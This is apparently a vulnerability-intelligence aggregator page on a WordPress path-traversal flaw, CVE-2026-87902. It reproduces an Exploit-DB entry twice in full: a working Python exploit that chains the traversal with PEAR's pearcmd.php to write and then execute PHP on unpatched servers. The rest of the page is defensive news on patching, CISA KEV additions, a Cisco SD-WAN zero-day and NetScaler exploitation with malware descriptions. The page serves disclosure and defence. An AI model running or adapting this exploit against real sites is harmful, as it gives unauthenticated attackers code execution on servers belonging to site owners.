Search/CVE-2026-87902: Critical Vulnerability in WordPress
● Story

CVE-2026-87902: Critical Vulnerability in WordPress

Exploit Title: WordPress 7.0.2 - Path Travesal Google Dork: N/A Date: 2026-09-22 Exploit Author: Robert Ressl (https://ressl.ch) Vendor Homepage: https://wordpress.org Software Link: https://wordpress.org/download/releases/ Version: WordPress 7.0.2 (patched in 7.1.2 and 7.0.6; backports to every = branch down to 4.7.37) Tested on: WordPress 7.0.2 / PHP 8.3.33 (Apache module) / MySQL 8.4 (offi= cial wordpress:7.0.2-php8.3-apache image, x86-64 and arm64) CVE: CVE-2026-87902 Advisory: https://github.com/WordPress/wordpress-develop/security/advisor= ies/GHSA-7hp8-65ch-5whp Write-up: https://ressl.ch/blog/cve-2026-87902-wordpress/ Source: https://github.com/ressl/cve-2026-87902-poc Requires: Python 3.6+ (standard library only) Usage: python3 cve-2026-87902.py --url http://127.0.0.1:8091…

CVEs
2
Highest CVSS
8.1
In KEV
1
Sources
4
Connections
18 relationships
[webapps] WordPress 7.0.2 - Path Travesal
Exploit Title: WordPress 7.0.2 - Path Travesal Google Dork: N/A Date: 2026-09-22 Exploit Author: Robert Ressl (https://ressl.ch) Vendor Homepage: https://wordpress.org Software Link: https://wordpress.org/download/releases/ Version: WordPress 7.0.2 (patched in 7.1.2 and 7.0.6; backports to every = branch down to 4.7.37) Tested on: WordPress 7.0.2 / PHP 8.3.33 (Apache module) / MySQL 8.4 (offi= cial wordpress:7.0.2-php8.3-apache image, x86-64 and arm64) CVE: CVE-2026-87902 Advisory: https://github.com/WordPress/wordpress-develop/security/advisor= ies/GHSA-7hp8-65ch-5whp Write-up: https://ressl.ch/blog/cve-2026-87902-wordpress/ Source: https://github.com/ressl/cve-2026-87902-poc Requires: Python 3.6+ (standard library only) Usage: python3 cve-2026-87902.py --url http://127.0.0.1:8091 [--page-id N= ] [--depth 7] Preconditions (the Source repository ships a lab that provides all of the= m): a published page that uses the default template (auto-detected via RE= ST, or --page-id) a top-level page-* directory in the active theme (--theme-dir, defa= ult page-templates) a readable PEAR pearcmd.php (--include) and register_argc_argv=3DOn f= or the web SAPI a writable directory for the PEAR payload (--output, default /tmp) """ CVE-2026-87902 - unauthenticated path traversal in WordPress page-template resolution leading to local PHP file inclusion (and, where the deployment allows it, to PHP code execution). Two anonymous POST requests are enough: Stage 1 The traversal makes the template loader include a readable local .php file outside the theme roots. With PEAR present and register_argc_argv=3DOn, /usr/local/lib/php/pearcmd.php acts= as a file-write gadget: config-create serializes attacker-controlle= d data - including PHP opening tags - into a writable directory. Stage 2 The same traversal includes the generated file, so the embedded = PHP runs with the privileges of the web-server account. The WordPress defect is the missing path containment. PEAR is only one environment-dependent way of turning the inclusion into code execution. For authorized security testing and research only. """ import argparse import http.client import json import ssl import sys from urllib.parse import urlsplit USER_AGENT =3D "cve-2026-87902-poc/1.0" Lab defaults (see lab/ and README.md). WordPress appends .php to the traversal target, so those paths are always given without the suffix. DEFAULT_MARKER =3D "CVE-2026-87902-POC-OK" DEFAULT_THEME_DIR =3D "page-templates" # theme directory supplyi= ng the fixed page- prefix DEFAULT_INCLUDE =3D "/usr/local/lib/php/pearcmd" # gadget included in stag= e 1 DEFAULT_OUTPUT =3D "/tmp/wp-pear-rce-flag" # PEAR writes .p= hp to this path DEFAULT_READ =3D "/flag" # file printed by the inj= ected PHP LAB_DEPTH =3D 7 # .. segments from the = theme root to / def send_request(base, method, path, body=3DNone, timeout=3D20.0, insecure= =3DFalse): """Send a request with a byte-exact request target. The request target must reach the server unmodified: the raw , = =3D and + bytes are load-bearing (PHP splits the raw query string into PE= AR's argv and does not URL-decode the individual arguments), so nothing may = be re-encoded on the way out. """ parts =3D urlsplit(base) if not parts.hostname: raise ValueError("invalid target URL: %s" % base) if parts.scheme =3D=3D "https": context =3D ssl._create_unverified_context() if insecure else ssl.c= reate_default_context() conn =3D http.client.HTTPSConnection( parts.hostname, parts.port or 443, timeout=3Dtimeout, context= =3Dcontext ) else: conn =3D http.client.HTTPConnection(parts.hostname, parts.port or 8= 0, timeout=3Dtimeout) headers =3D { "User-Agent": USER_AGENT, "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", } try: conn.request(method, path, body=3Dbody, headers=3Dheaders) response =3D conn.getresponse() return response.status, response.read().decode("utf-8", "replace") finally: conn.close() def php_literal(value): """Quote-free PHP string literal: /flag -> chr(47).chr(102).chr(108).= ..""" return ".".join("chr(%d)" % ord(char) for char in value) def double_encode(path): """Encode a theme-relative path for the request body. PHP decodes the form body once. WordPress must still see the escaped oc= tets (%2f, %2e) afterwards, so that wp_basename() and the query saniti= zer leave the traversal alone; get_page_template() decodes them much late= r. """ once =3D path.replace("/", "%2F").replace(".", "%2E") return once.replace("%", "%25") def candidate(theme_dir, depth, target): """Theme-relative candidate path for an absolute local target. WordPress prepends the fixed page- prefix when building the template name, so the path segment derived from a theme directory page-template= s is templates: page- + templates/../../ + .php. """ prefix =3D theme_dir[len("page-"):] if theme_dir.startswith("page-") el= se theme_dir return prefix + "/" + "../" * depth + target.lstrip("/") def find_page(base, timeout, insecure): """Find a published page using the default template (anonymous REST cal= l).""" routes =3D ( "/index.php?rest_route=3D/wp/v2/pages&per_page=3D100&_fields=3Did,s= lug,template", "/wp-json/wp/v2/pages?per_page=3D100&_fields=3Did,slug,template", ) for route in routes: try: status, body =3D send_request(base, "GET", route, timeout=3Dtim= eout, insecure=3Dinsecure) except Exception: continue if status !=3D 200: continue try: pages =3D json.loads(body) except ValueError: continue if not isinstance(pages, list) or not pages: continue for page in pages: # a custom page template would win the hierarch= y before the traversal if not page.get("template"): return page.get("id"), page.get("slug", ""), route return pages[0].get("id"), pages[0].get("slug", ""), route return None, None, None def run_stages(base, args, depth): """Run both stages for one traversal depth. Returns a result dict.""" include_path =3D candidate(args.theme_dir, depth, args.include) output_path =3D candidate(args.theme_dir, depth, args.output) payload =3D " " % php_literal(args.read) # Stage 1: the raw query string becomes PEAR's argv. config-create # requires an absolute root path, so the payload is injected as that ro= ot # (/ ) and PEAR serializes it into the generated config file. stage1_target =3D "/?+config-create+/" + payload + "+" + args.output + = ".php" stage1_body =3D "page_id=3D%d&pagename=3D%s" % (args.page_id, double_en= code(include_path)) status1, _ =3D send_request(base, "POST", stage1_target, body=3Dstage1_= body, timeout=3Dargs.timeout, insecure=3Dargs.insec= ure) # Stage 2: include the file PEAR just wrote. stage2_body =3D "page_id=3D%d&pagename=3D%s" % (args.page_id, double_en= code(output_path)) status2, text2 =3D send_request(base, "POST", "/", body=3Dstage2_body, timeout=3Dargs.timeout, insecure=3Dargs.i= nsecure) return { "depth": depth, "include_candidate": "page-" + include_path + ".php", "output_candidate": "page-" + output_path + ".php", "status1": status1, "status2": status2, "hits": text2.count(args.marker), "body": text2, } def first_line_with(text, marker, limit=3D200): index =3D text.find(marker) if index < 0: return "" chunk =3D text[index:index + limit] return chunk.splitlines()[0] if chunk else "" def main(argv=3DNone): parser =3D argparse.ArgumentParser( description=3D"CVE-2026-87902 - WordPress page-template traversal t= o local PHP inclusion (PoC)", formatter_class=3Dargparse.ArgumentDefaultsHelpFormatter, ) parser.add_argument("--url", default=3D"http://127.0.0.1:8091", help=3D= "WordPress base URL") parser.add_argument("--page-id", type=3Dint, help=3D"published page ID = (auto-detected via REST if omitted)") parser.add_argument("--theme-dir", default=3DDEFAULT_THEME_DIR, help=3D"top-level page-* directory of the active = theme") parser.add_argument("--include", default=3DDEFAULT_INCLUDE, help=3D"local file to include in stage 1 (no .php= suffix)") parser.add_argument("--output", default=3DDEFAULT_OUTPUT, help=3D"writable destination for the PEAR payload (= no .php suffix)") parser.add_argument("--read", default=3DDEFAULT_READ, help=3D"file prin= ted by the injected PHP") parser.add_argument("--marker", default=3DDEFAULT_MARKER, help=3D"string expected in the stage-2 response on = success") parser.add_argument("--depth", type=3Dint, default=3D0, help=3D"number of .. segments (0 =3D lab depth fi= rst, then 1..12)") parser.add_argument("--timeout", type=3Dfloat, default=3D20.0, help=3D"= per-request timeout in seconds") parser.add_argument("--insecure", action=3D"store_true", help=3D"do not= verify TLS certificates") args =3D parser.parse_args(argv) if not args.theme_dir.startswith("page-"): parser.error("--theme-dir must be the real theme directory name and= start with 'page-'") base =3D args.url.rstrip("/") print("[*] target : %s" % base) if args.page_id: print("[*] page id : %d (from --page-id)" % args.page_id) else: page_id, slug, route =3D find_page(base, args.timeout, args.insecur= e) if not page_id: print("[-] no published page found - pass --page-id explicitly"= , file=3Dsys.stderr) return 1 args.page_id =3D page_id print("[*] page id : %d (%s, default template, via %s)" % (pa= ge_id, slug or "?", route)) if args.depth: depths =3D [args.depth] else: depths =3D [LAB_DEPTH] + [d for d in range(1, 13) if d !=3D LAB_DEP= TH] for depth in depths: result =3D run_stages(base, args, depth) print("[*] depth %-2d : stage 1 HTTP %s, stage 2 HTTP %s" % (depth, result["status1"], result["status2"])) if result["hits"]: print("[+] traversal : %s" % result["include_candidate"]) print("[+] payload file : %s (written by PEAR in stage 1)" % r= esult["output_candidate"]) print("[+] marker : %r found %d time(s) in the stage-2 r= esponse" % (args.marker, result["hits"])) print("[+] proof : %s" % first_line_with(result["body"]= , args.marker)) print("[+] EXPLOIT SUCCESSFUL - PHP executed with the web-serve= r account's privileges") return 0 print("[-] exploit failed", file=3Dsys.stderr) print(" check that lab/up.sh completed (WordPress installed, page-*= fixture present,", file=3Dsys.stderr) print(" /flag readable), that the page ID is published, and that PEA= R is reachable with", file=3Dsys.stderr) print(" register_argc_argv=3DOn for the web SAPI.", file=3Dsys.stder= r) return 1 if name =3D=3D "main": sys.exit(main())
exploit-db.comOct 1, 2026extracted
CVE-2026-87902: Critical Vulnerability in WordPress
A critical vulnerability has been discovered in the popular WordPress content management system that allows attackers to execute arbitrary code on the web server. The vulnerability has been assigned the number CVE-2026-87902. The good news is that on September 22, WordPress released an update that patches it. The bad news is that the first attempts to exploit CVE-2026-87902 were detected just a few hours after the patch was released. Therefore, all companies whose corporate websites or blogs run on this platform are advised to update immediately. WordPress versions affected by CVE-2026-87902 According to data published by WordPress on GitHub, all versions of the CMS from 4.7.0 through 7.1.1 are vulnerable. The company has released updates for all supported branches of the system; a complete table listing the patched version numbers can be found on the company’s GitHub page . The latest version of WordPress should be updated to version 7.1.2 (or newer). What’s the nature of the CVE-2026-87902 vulnerability, and why is it so dangerous? Under normal circumstances, WordPress loads PHP template files only from a specific folder within the active theme. However, due to the CVE-2026-87902 vulnerability, an attacker can craft a request to WordPress in such a way that an arbitrary PHP file is included — without requiring any authorization. Yes, the file must already be uploaded to the targeted server in some way, but that’s not really a problem for an attacker. It sounds like a path traversal vulnerability, but in most publications, CVE-2026-87902 is classified as an RCE (Remote Code Execution) vulnerability because, under certain WordPress and PHP server configurations, the attack can lead to the execution of arbitrary code. How to stay safe The only way to secure a corporate WordPress site is to install the latest version. The researcher who discovered the vulnerability also offers several tips for hardening CMS security, but emphasizes that these are meant to complement the patch, not replace it. The Hacker News lists several PHP filenames and IP addresses used in the attack via CVE-2026-87902. These can serve as indicators that a WordPress instance has been compromised. Given that only a few hours pass between the publication of information about a vulnerability’s existence and the start of attacks exploiting it, it’s crucial for companies to have a properly configured, centralized vulnerability management system. To achieve this, they should have a specialized solution capable of identifying and resolving vulnerabilities, prioritizing them based on actual risks, and automating remediation processes.
kaspersky.comSep 25, 2026extracted
Related Stories
6
[webapps] WordPress 7.0.2 - Path Travesal
Exploit Title: WordPress 7.0.2 - Path Travesal Google Dork: N/A Date: 2026-09-22 Exploit Author: Robert Ressl (https://ressl.ch) Vendor Homepage: https://wordpress.org Software Link: https://wordpress.org/download/releases/ Version: WordPress 7.0.2 (patched in 7.1.2 and 7.0.6; backports to every = branch down to 4.7.37) Tested on: WordPress 7.0.2 / PHP 8.3.33 (Apache module) / MySQL 8.4 (offi= cial wordpress:7.0.2-php8.3-apache image, x86-64 and arm64) CVE: CVE-2026-87902 Advisory: https://github.com/WordPress/wordpress-develop/security/advisor= ies/GHSA-7hp8-65ch-5whp Write-up: https://ressl.ch/blog/cve-2026-87902-wordpress/ Source: https://github.com/ressl/cve-2026-87902-poc Requires: Python 3.6+ (standard library only) Usage: python3 cve-2026-87902.py --url http://127.0.0.1:8091 [--page-id N= ] [--depth 7] Preconditions (the Source repository ships a lab that provides all of the= m): a published page that uses the default template (auto-detected via RE= ST, or --page-id) a top-level page-* directory in the active theme (--theme-dir, defa= ult page-templates) a readable PEAR pearcmd.php (--include) and register_argc_argv=3DOn f= or the web SAPI a writable directory for the PEAR payload (--output, default /tmp) """ CVE-2026-87902 - unauthenticated path traversal in WordPress page-template resolution leading to local PHP file inclusion (and, where the deployment allows it, to PHP code execution). Two anonymous POST requests are enough: Stage 1 The traversal makes the template loader include a readable local .php file outside the theme roots. With PEAR present and register_argc_argv=3DOn, /usr/local/lib/php/pearcmd.php acts= as a file-write gadget: config-create serializes attacker-controlle= d data - including PHP opening tags - into a writable directory. Stage 2 The same traversal includes the generated file, so the embedded = PHP runs with the privileges of the web-server account. The WordPress defect is the missing path containment. PEAR is only one environment-dependent way of turning the inclusion into code execution. For authorized security testing and research only. """ import argparse import http.client import json import ssl import sys from urllib.parse import urlsplit USER_AGENT =3D "cve-2026-87902-poc/1.0" Lab defaults (see lab/ and README.md). WordPress appends .php to the traversal target, so those paths are always given without the suffix. DEFAULT_MARKER =3D "CVE-2026-87902-POC-OK" DEFAULT_THEME_DIR =3D "page-templates" # theme directory supplyi= ng the fixed page- prefix DEFAULT_INCLUDE =3D "/usr/local/lib/php/pearcmd" # gadget included in stag= e 1 DEFAULT_OUTPUT =3D "/tmp/wp-pear-rce-flag" # PEAR writes .p= hp to this path DEFAULT_READ =3D "/flag" # file printed by the inj= ected PHP LAB_DEPTH =3D 7 # .. segments from the = theme root to / def send_request(base, method, path, body=3DNone, timeout=3D20.0, insecure= =3DFalse): """Send a request with a byte-exact request target. The request target must reach the server unmodified: the raw , = =3D and + bytes are load-bearing (PHP splits the raw query string into PE= AR's argv and does not URL-decode the individual arguments), so nothing may = be re-encoded on the way out. """ parts =3D urlsplit(base) if not parts.hostname: raise ValueError("invalid target URL: %s" % base) if parts.scheme =3D=3D "https": context =3D ssl._create_unverified_context() if insecure else ssl.c= reate_default_context() conn =3D http.client.HTTPSConnection( parts.hostname, parts.port or 443, timeout=3Dtimeout, context= =3Dcontext ) else: conn =3D http.client.HTTPConnection(parts.hostname, parts.port or 8= 0, timeout=3Dtimeout) headers =3D { "User-Agent": USER_AGENT, "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", } try: conn.request(method, path, body=3Dbody, headers=3Dheaders) response =3D conn.getresponse() return response.status, response.read().decode("utf-8", "replace") finally: conn.close() def php_literal(value): """Quote-free PHP string literal: /flag -> chr(47).chr(102).chr(108).= ..""" return ".".join("chr(%d)" % ord(char) for char in value) def double_encode(path): """Encode a theme-relative path for the request body. PHP decodes the form body once. WordPress must still see the escaped oc= tets (%2f, %2e) afterwards, so that wp_basename() and the query saniti= zer leave the traversal alone; get_page_template() decodes them much late= r. """ once =3D path.replace("/", "%2F").replace(".", "%2E") return once.replace("%", "%25") def candidate(theme_dir, depth, target): """Theme-relative candidate path for an absolute local target. WordPress prepends the fixed page- prefix when building the template name, so the path segment derived from a theme directory page-template= s is templates: page- + templates/../../ + .php. """ prefix =3D theme_dir[len("page-"):] if theme_dir.startswith("page-") el= se theme_dir return prefix + "/" + "../" * depth + target.lstrip("/") def find_page(base, timeout, insecure): """Find a published page using the default template (anonymous REST cal= l).""" routes =3D ( "/index.php?rest_route=3D/wp/v2/pages&per_page=3D100&_fields=3Did,s= lug,template", "/wp-json/wp/v2/pages?per_page=3D100&_fields=3Did,slug,template", ) for route in routes: try: status, body =3D send_request(base, "GET", route, timeout=3Dtim= eout, insecure=3Dinsecure) except Exception: continue if status !=3D 200: continue try: pages =3D json.loads(body) except ValueError: continue if not isinstance(pages, list) or not pages: continue for page in pages: # a custom page template would win the hierarch= y before the traversal if not page.get("template"): return page.get("id"), page.get("slug", ""), route return pages[0].get("id"), pages[0].get("slug", ""), route return None, None, None def run_stages(base, args, depth): """Run both stages for one traversal depth. Returns a result dict.""" include_path =3D candidate(args.theme_dir, depth, args.include) output_path =3D candidate(args.theme_dir, depth, args.output) payload =3D " " % php_literal(args.read) # Stage 1: the raw query string becomes PEAR's argv. config-create # requires an absolute root path, so the payload is injected as that ro= ot # (/ ) and PEAR serializes it into the generated config file. stage1_target =3D "/?+config-create+/" + payload + "+" + args.output + = ".php" stage1_body =3D "page_id=3D%d&pagename=3D%s" % (args.page_id, double_en= code(include_path)) status1, _ =3D send_request(base, "POST", stage1_target, body=3Dstage1_= body, timeout=3Dargs.timeout, insecure=3Dargs.insec= ure) # Stage 2: include the file PEAR just wrote. stage2_body =3D "page_id=3D%d&pagename=3D%s" % (args.page_id, double_en= code(output_path)) status2, text2 =3D send_request(base, "POST", "/", body=3Dstage2_body, timeout=3Dargs.timeout, insecure=3Dargs.i= nsecure) return { "depth": depth, "include_candidate": "page-" + include_path + ".php", "output_candidate": "page-" + output_path + ".php", "status1": status1, "status2": status2, "hits": text2.count(args.marker), "body": text2, } def first_line_with(text, marker, limit=3D200): index =3D text.find(marker) if index < 0: return "" chunk =3D text[index:index + limit] return chunk.splitlines()[0] if chunk else "" def main(argv=3DNone): parser =3D argparse.ArgumentParser( description=3D"CVE-2026-87902 - WordPress page-template traversal t= o local PHP inclusion (PoC)", formatter_class=3Dargparse.ArgumentDefaultsHelpFormatter, ) parser.add_argument("--url", default=3D"http://127.0.0.1:8091", help=3D= "WordPress base URL") parser.add_argument("--page-id", type=3Dint, help=3D"published page ID = (auto-detected via REST if omitted)") parser.add_argument("--theme-dir", default=3DDEFAULT_THEME_DIR, help=3D"top-level page-* directory of the active = theme") parser.add_argument("--include", default=3DDEFAULT_INCLUDE, help=3D"local file to include in stage 1 (no .php= suffix)") parser.add_argument("--output", default=3DDEFAULT_OUTPUT, help=3D"writable destination for the PEAR payload (= no .php suffix)") parser.add_argument("--read", default=3DDEFAULT_READ, help=3D"file prin= ted by the injected PHP") parser.add_argument("--marker", default=3DDEFAULT_MARKER, help=3D"string expected in the stage-2 response on = success") parser.add_argument("--depth", type=3Dint, default=3D0, help=3D"number of .. segments (0 =3D lab depth fi= rst, then 1..12)") parser.add_argument("--timeout", type=3Dfloat, default=3D20.0, help=3D"= per-request timeout in seconds") parser.add_argument("--insecure", action=3D"store_true", help=3D"do not= verify TLS certificates") args =3D parser.parse_args(argv) if not args.theme_dir.startswith("page-"): parser.error("--theme-dir must be the real theme directory name and= start with 'page-'") base =3D args.url.rstrip("/") print("[*] target : %s" % base) if args.page_id: print("[*] page id : %d (from --page-id)" % args.page_id) else: page_id, slug, route =3D find_page(base, args.timeout, args.insecur= e) if not page_id: print("[-] no published page found - pass --page-id explicitly"= , file=3Dsys.stderr) return 1 args.page_id =3D page_id print("[*] page id : %d (%s, default template, via %s)" % (pa= ge_id, slug or "?", route)) if args.depth: depths =3D [args.depth] else: depths =3D [LAB_DEPTH] + [d for d in range(1, 13) if d !=3D LAB_DEP= TH] for depth in depths: result =3D run_stages(base, args, depth) print("[*] depth %-2d : stage 1 HTTP %s, stage 2 HTTP %s" % (depth, result["status1"], result["status2"])) if result["hits"]: print("[+] traversal : %s" % result["include_candidate"]) print("[+] payload file : %s (written by PEAR in stage 1)" % r= esult["output_candidate"]) print("[+] marker : %r found %d time(s) in the stage-2 r= esponse" % (args.marker, result["hits"])) print("[+] proof : %s" % first_line_with(result["body"]= , args.marker)) print("[+] EXPLOIT SUCCESSFUL - PHP executed with the web-serve= r account's privileges") return 0 print("[-] exploit failed", file=3Dsys.stderr) print(" check that lab/up.sh completed (WordPress installed, page-*= fixture present,", file=3Dsys.stderr) print(" /flag readable), that the page ID is published, and that PEA= R is reachable with", file=3Dsys.stderr) print(" register_argc_argv=3DOn for the web SAPI.", file=3Dsys.stder= r) return 1 if name =3D=3D "main": sys.exit(main())
14 shared
Oct 6, 2026
WSO2 and Adobe Commerce Flaws Exploited in Attacks, Added to CISA KEV
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added two security flaws impacting Microsoft SharePoint and Mikrotik RouterOS to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerabilities in question are as follows - CVE-2026-65660 (CVSS score: 8.8) - A code injection vulnerability in Microsoft Office SharePoint that allows an authorized attacker to execute code over a network. CVE-2026-67279 (CVSS score: 6.9) - An improper enforcement of behavioral workflow vulnerability in Mikrotik RouterOS that could allow an unauthenticated client to open a session channel and send an exec request. As reported by The Hacker News earlier this week, CVE-2026-65660 was originally described by Microsoft as a spoofing vulnerability impacting SharePoint Server. The tech giant has since updated the advisory to state that it could be abused to obtain remote code execution. "As of 9/25/2026, Microsoft had reliable evidence of observed attacks against exploitation of this vulnerability," the Windows maker noted. Microsoft hasn't disclosed who was behind the exploitation efforts, when they started, how many organizations have been targeted, how many of them have been successful, and what attackers did once inside the vulnerable service. The second vulnerability to be added to the KEV catalog is CVE-2026-67279, which has been chained along with CVE-2026-86060, an argument injection flaw in the RouterOS login process, as part of an exploit codenamed MikroTrick. The exploit chain has been employed to take full administrative control of internet-exposed susceptible routers without the need for a password, per CERT Polska. "Combining the two vulnerabilities resulted in full unauthenticated access to the administrative console," the Polish cybersecurity agency said. "CVE-2026-67279 allowed an unauthenticated client to create a session channel, while CVE-2026-86060 allowed it to supply login with an attacker-controlled policy mask." In a separate analysis, Bishop Fox said it was able to reproduce the complete administrative takeover on vulnerable RouterOS 7.x builds. "MikroTrick combines two failures at different trust boundaries," security researcher Emilio Gallegos said. "The first allows an unauthenticated connection to reach functionality that RouterOS should expose only after login. The second causes the login process to treat data from that connection as a trusted administrative identity." "MikroTrick exposes a design risk in privileged software: a feature intended only for trusted local callers becomes a remote attack surface when an upstream component loses track of authentication state." It's worth noting that CISA added CVE-2026-86060 to its KEV catalog on September 11, 2026. Federal Civilian Executive Branch (FCEB) agencies have time until September 28, 2026, to apply the necessary fixes.
8 shared
Oct 1, 2026
Cisco warns of new SD-WAN zero-day exploited in attacks
Attackers are exploiting a new critical zero-day flaw in Cisco Catalyst SD-WAN Manager, the system companies use to manage their Cisco SD-WAN networks, Cisco said in an advisory on September 30. The flaw, CVE-2026-76504, could allow a remote attacker with no login access to use the Manager's API as the admin user. Fixed releases are available, and there is no workaround. It carries a CVSS score of 9.8 out of 10. It sits in the part of the Manager's API that handles login sessions. The Manager mishandles URI encoding in an HTTP request. A crafted request can therefore bypass an authentication rule intended to restrict access to a single API endpoint. The attacker needs no credentials, only the ability to send that request to the Manager's API. Managers exposed to the internet are at risk of compromise, according to Cisco. By default, the admin user holds the netadmin role, which is allowed to perform all operations on the device. Cisco said its Product Security Incident Response Team "became aware of active exploitation of this vulnerability" in September 2026. The flaw was found while Cisco's Technical Assistance Center (TAC) was handling a support case. The advisory does not say how many customers were attacked, when the attacks began, who carried them out, or what the attackers did with the access. Who Needs to Upgrade The flaw affects SD-WAN Manager regardless of how the system is configured. No other product is listed as affected. These are the first fixed releases for each release train: CVE-2026-76504 is separate from three Cisco SD-WAN flaws fixed earlier: CVE-2026-20182 in May, and CVE-2026-20245 and CVE-2026-20262 in June. A comparison of the advisories shows that the fixed releases for those flaws are all older than the ones in the table above. So a Manager last upgraded for the May or June fixes still needs this update. The table does not list the 20.10, 20.11, 20.13, 20.14, or 20.16 release trains, which Cisco's May advisory did list. The advisory also does not name Cisco SD-WAN Cloud-Pro or Cisco SD-WAN for Government (FedRAMP), two deployment types named in the May and June advisories. Cisco SD-WAN Cloud (Cisco Managed) is already fixed in release 20.15.605, and customers on it need to take no action. Until an on-prem Manager is upgraded, Cisco advises restricting access to it from unsecured networks such as the internet. Where internet access is required, only known, trusted hosts should be allowed in, and the control components should sit behind a firewall. Cisco Catalyst SD-WAN Cloud Hosted environments already have this mitigation in place. The mitigation worked in a test environment, according to Cisco, which advises customers to assess its impact on their own networks before applying it. Cisco's SD-WAN hardening guide says administrative interfaces, such as ports 443, 22 and 830, should not be exposed directly to the internet. HTTPS access to the Manager should come only from a jump host or a management subnet. Checking for Signs of Compromise The signs of compromise Cisco describes involve j_security_check, the request path the Manager uses for session-based logins. In Cisco's example, one character of that path is URI-encoded, giving /%6a_security_check, where %6a stands for the letter j. Two log files are the places to look for j_security_check entries from unknown or unauthorized IP addresses: File: /var/log/nms/containers/service-proxy/serviceproxy-access.log File: /var/log/nms/vmanage-server.log, in particular entries for users whose names start with viptela-reserved- Names starting with viptela-reserved- belong to reserved system service accounts. Any one character in the request can be encoded, so %6a is only an example. The same entries can also appear during normal operation, and each match has to be checked against normal activity to avoid false positives. To help determine whether a Manager has been compromised, customers can open a Severity 3 case with Cisco TAC and include CVE-2026-76504 in the title. Cisco asks them to run request admin-tech on the Manager first, so the output file can be reviewed. The advisory includes no detection rule and does not say whether upgrading removes an attacker who already has access. Cisco's advisories for the May flaw and the first June flaw said an update alone would not resolve a confirmed compromise. They told customers to collect the admin-tech file before upgrading. CVE-2026-76504 follows a series of Cisco SD-WAN flaws flagged as exploited this year. As of September 30, the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) Known Exploited Vulnerabilities catalog listed eight Cisco SD-WAN flaws added in 2026.
8 shared
Oct 5, 2026
NetScaler zero-day exploitation escalates into mass attacks (CVE-2026-88771)
The public still doesn’t know who is abusing a critical Citrix vulnerability exploited as a zero-day weeks before disclosure, but we now know that the unknown digital intruders have used CVE-2026-88772 to break into government agencies, financial services firms, education organizations, and legal and professional services sectors across North America and Europe. And everyone agrees that the vendor took way too long to disclose the security holes. GreyNoise said it spotted an attempt to exploit CVE-2026-88771 against a Citrix NetScaler Gateway on September 24. Google researchers, meanwhile, said the CVE-2026-88772 campaign has been ongoing “since at least early September.” “Why Citrix took so long to disclose these vulnerabilities is a question only Citrix can answer,” Benjamin Harris, founder and CEO of exposure management firm watchTowr, told The Register. Citrix declined to answer The Register's questions about the scope of the attacks, and why it didn't alert the public about the CVEs under active exploitation until Sunday. “The vulnerabilities were discovered during incident response and forensic investigations at organizations already compromised, meaning both the exploitation and Citrix’s awareness of it predated public disclosure,” Harris said. “Citrix has a history of delaying the publication of vulnerabilities, even when they’re being exploited in the wild and affecting customers.” So if you use Citrix NetScaler ADC and NetScaler Gateway appliances, and haven’t already applied the security updates, do that ASAP. But first, check your systems for signs of compromise, warns Mandiant Consulting CTO Charles Carmakal. “Given the active exploitation, NetScaler customers should prioritize examining their systems for compromise *before* upgrading/patching,” Carmakal said on LinkedIn. “If you find evidence of web shells or other malicious files, please preserve evidence and investigate the scope of the compromise. Patching alone may not eradicate the threat actor from your environment.” No attribution - yet Citrix disclosed eight CVEs on Sunday with the worst of the bunch – CVE-2026-88771 and CVE-2026-88772 – earning critical 9.5 CVSS scores. “Exploitation of CVE-2026-88771 and CVE-2026-88772 on unmitigated NetScaler deployments has been observed,” the vendor said. CVE-2026-88771 can allow an unauthenticated attacker to execute arbitrary commands remotely. CVE-2026-88772 is a memory overflow vulnerability that can lead to remote code execution or denial of service when DTLS is enabled, as it is by default on VPN virtual servers. But by the time Citrix issued security advisories and warned customers about the vulnerabilities, they were already under attack. “No attribution has been made public, and we have yet to identify a clear trend among targets by industry or organization size,” Harris said. “Historically, NetScaler vulnerabilities have been exploited by both state-sponsored groups and ransomware operators.” WatchTowr on Tuesday published a technical writeup about CVE-2026-88772, plus a detection artifact generator for Citrix users to determine if they are vulnerable and to help with remediation. Also on Tuesday, Google’s threat intel businesses provided additional details about the exploitation campaign’s targets and the attacker’s custom malware. “We have observed evidence that organizations in North America and Europe in the government, financial services, education, legal and professional services sectors were likely impacted by this exploitation campaign, which has been ongoing since at least early September,” Google Threat Intelligence Group and Mandiant said in an advisory. Custom malware After analyzing the intruder’s post-exploit toolkit, the malware hunters found never-before-seen malware used to establish persistent root access and proxy traffic into internal corporate networks. The custom malware includes WHIPSHOT, a PHP web shell, and SLAPSHOT, a TCP tunneling tool written in Python. WHIPSHOT is disguised as a Debian package and hides Base64-encoded command-and-control payloads in native HTTP headers. It functions as an HTTP transport bridge for SLAPSHOT, which accepts commands from WHIPSHOT and forwards arbitrary TCP streams to internal hosts. Supported commands include: open, which establishes an outbound TCP socket to a target host and port. push, which writes data to an open session. pull, which polls and reads data from an open session socket. exch, which sends and receives command-and-control data to and from an open session socket. close, which terminates a specified network session. ping, which performs a basic health-check verification. “In at least one observed intrusion, the threat actor routed traffic through this proxy to manually conduct internal reconnaissance and credential theft,” the threat intel teams noted. Google did not immediately respond to The Register’s questions about the campaign, including how many exploitation attempts and successful intrusions its threat hunters observed. Its advisory notes that the Citrix campaign “underscores the continued targeting of edge devices to gain initial access to victim networks, a trend that GTIG has tracked across a range of threat actors.” Security and networking vulnerabilities accounted for about half of enterprise-related zero-days in 2025, according to Google’s count. Attackers love edge devices - application delivery controllers, VPN gateways, and firewalls - because they provide direct access from the open internet to corporate networks, allowing attackers to bypass endpoint detection tools and other security layers. NetScaler, in particular, is notoriously buggy. Attackers exploited another critical NetScaler vuln in March. A year earlier, Citrix disclosed multiple zero-days in the same product. ®
7 shared
Oct 5, 2026
CISA alerts of active exploitation of three Linux kernel flaws
